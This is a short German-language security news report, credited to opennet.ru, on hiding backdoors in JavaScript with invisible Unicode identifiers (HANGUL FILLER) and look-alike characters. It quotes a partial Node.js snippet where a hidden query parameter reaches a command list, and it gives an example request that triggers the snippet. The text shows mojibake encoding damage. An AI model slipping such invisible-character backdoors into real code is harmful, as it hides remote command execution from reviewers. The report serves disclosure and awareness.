Nach der Trojan Source-Angriffs-Methode, die auf der Verwendung von Unicode-Zeichen basiert, die die Anzeigereihenfolge von bidirektionalem Text Ă€ndern, wurde eine weitere Technik zur Einbettung versteckter Aktionen veröffentlicht, die fĂŒr Code in JavaScript anwendbar ist. Diese neue Methode basiert auf der Verwendung des Unicode-Zeichens âă €â (Code 0x3164, âHANGUL FILLERâ), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, zu der dieses Zeichen gehört, ist seit der Spezifikation ECMAScript 2015 fĂŒr die Verwendung in Variablennamen von JavaScript zulĂ€ssig, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die sich nicht von anderen Variablen in beliebten Code-Editoren wie Notepad++ und VS Code unterscheiden lassen.
Als Beispiel wird Code fĂŒr die Node.js-Plattform angegeben, in dem durch eine Variablen, die aus einem Zeichen âă €â besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszufĂŒhren: app.get(â/network_healthâ, async (req, res) => { const { timeout,ă €} = req.query; // tatsĂ€chlich steht hier âconst { timeout,ă € \u3164}â const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ă € // nach dem Komma folgt das Zeichen \u3164 ];
Auf den ersten Blick wird ĂŒber den externen Parameter nur der Wert fĂŒr das Timeout ĂŒbergeben, wĂ€hrend das Array mit den auszufĂŒhrenden Befehlen eine harmlose feste Liste enthĂ€lt. In Wirklichkeit wird jedoch nach der Timeout-Variablen auch eine weitere unsichtbare Variable mit dem Zeichencode \u3164 zugewiesen, die ebenfalls im Array der auszufĂŒhrenden Befehle eingesetzt wird. Somit kann ein Angreifer bei Vorliegen einer solchen Konstruktion zur Aktivierung des Backdoors und zur AusfĂŒhrung seines Codes eine Anfrage wie âhttps://host:8080/network_health?=ĐșĐŸĐŒĐ°ĐœĐŽĐ°â senden.
Als weiteres Beispiel wird das Zeichen âÇâ (ALVEOLAR CLICK) angefĂŒhrt, das verwendet werden kann, um die Anzeichen eines Ausrufezeichens zu erzeugen. Beispielsweise wird der Ausdruck âif(environmentÇ=ENV_PROD){â bei AusfĂŒhrung in Node.js 14 immer wahr sein, da dabei keine UnterschiedsprĂŒfung stattfindet, sondern der Variable âenvironmentÇâ der Wert ENV_PROD zugewiesen wird. Zu den irrefĂŒhrenden Unicode-Zeichen gehören auch âïŒâ, âââ, âïŒâ, ââ©”â, ââšâ, â⫝̸â, âêżâ und âââ.
Quelle: opennet.ru
